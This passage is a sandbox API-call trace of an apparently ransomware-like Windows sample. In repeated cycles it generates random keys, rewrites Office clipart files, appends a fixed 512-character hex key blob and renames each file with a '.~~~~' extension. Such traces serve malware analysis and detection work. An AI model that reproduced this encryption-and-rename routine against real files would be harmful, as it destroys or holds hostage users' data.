	[0106.047] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.048] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.048] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.048] CloseHandle (hObject=0x138) returned 1
	[0106.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0106.048] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf.~~~~")) returned 1
	[0106.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0106.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.049] GetLastError () returned 0x0
	[0106.049] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.050] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.050] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.050] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22604046512) returned 1
	[0106.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa8e2a610, dwHighDateTime=0x1d60e1e)) 
	[0106.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d478
	[0106.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d478 | out: hHeap=0x300000) returned 1
	[0106.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0106.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28727c0
	[0106.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0106.051] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.051] GetLastError () returned 0x0
	[0106.051] GetLastError () returned 0x0
	[0106.051] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.051] GetLastError () returned 0x0
	[0106.052] GetLastError () returned 0x0
	[0106.054] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff6da, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.054] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x926, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x926, lpOverlapped=0x0) returned 1
	[0106.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0106.055] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.055] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.055] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.055] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.055] CloseHandle (hObject=0x138) returned 1
	[0106.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0106.055] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf.~~~~")) returned 1
	[0106.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0106.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.056] GetLastError () returned 0x0
	[0106.056] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.057] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.057] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.058] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22604778539) returned 1
	[0106.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa8e50770, dwHighDateTime=0x1d60e1e)) 
	[0106.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d4b0
	[0106.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d4b0 | out: hHeap=0x300000) returned 1
	[0106.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0106.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872858
	[0106.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0106.058] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.059] GetLastError () returned 0x0
	[0106.059] GetLastError () returned 0x0
	[0106.059] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.059] GetLastError () returned 0x0
	[0106.059] GetLastError () returned 0x0
	[0106.245] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff54e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.255] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xab2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0xab2, lpOverlapped=0x0) returned 1
	[0106.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0106.255] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.256] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.256] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.256] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.256] CloseHandle (hObject=0x138) returned 1
	[0106.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.256] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf.~~~~")) returned 1
	[0106.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.258] GetLastError () returned 0x0
	[0106.258] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.277] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.277] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.277] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22626699459) returned 1
	[0106.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa9065ab0, dwHighDateTime=0x1d60e1e)) 
	[0106.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d6e0
	[0106.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d6e0 | out: hHeap=0x300000) returned 1
	[0106.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872d18
	[0106.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.278] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.278] GetLastError () returned 0x0
	[0106.278] GetLastError () returned 0x0
	[0106.278] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.278] GetLastError () returned 0x0
	[0106.279] GetLastError () returned 0x0
	[0106.319] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff0aa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.320] WriteFile (in: hFile=0x138, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0xf56, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0xf56, lpOverlapped=0x0) returned 1
	[0106.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0106.321] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.321] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.321] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.321] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.321] CloseHandle (hObject=0x138) returned 1
	[0106.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.321] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf.~~~~")) returned 1
	[0106.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.322] GetLastError () returned 0x0
	[0106.372] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.373] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.373] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.374] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22636385397) returned 1
	[0106.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa914a2f0, dwHighDateTime=0x1d60e1e)) 
	[0106.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d8a0
	[0106.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d8a0 | out: hHeap=0x300000) returned 1
	[0106.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872f78
	[0106.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.374] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.375] GetLastError () returned 0x0
	[0106.375] GetLastError () returned 0x0
	[0106.375] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.375] GetLastError () returned 0x0
	[0106.375] GetLastError () returned 0x0
	[0106.384] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffce24, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.385] WriteFile (in: hFile=0x138, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x31dc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x31dc, lpOverlapped=0x0) returned 1
	[0106.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0106.385] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.386] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.386] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.386] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.386] CloseHandle (hObject=0x138) returned 1
	[0106.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.402] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf.~~~~")) returned 1
	[0106.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.479] GetLastError () returned 0x0
	[0106.480] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.481] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.481] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.481] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22647111050) returned 1
	[0106.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa9254c90, dwHighDateTime=0x1d60e1e)) 
	[0106.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d9f0
	[0106.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d9f0 | out: hHeap=0x300000) returned 1
	[0106.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873140
	[0106.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.482] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.482] GetLastError () returned 0x0
	[0106.482] GetLastError () returned 0x0
	[0106.482] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.482] GetLastError () returned 0x0
	[0106.482] GetLastError () returned 0x0
	[0106.488] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffadc2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.488] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x523e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x523e, lpOverlapped=0x0) returned 1
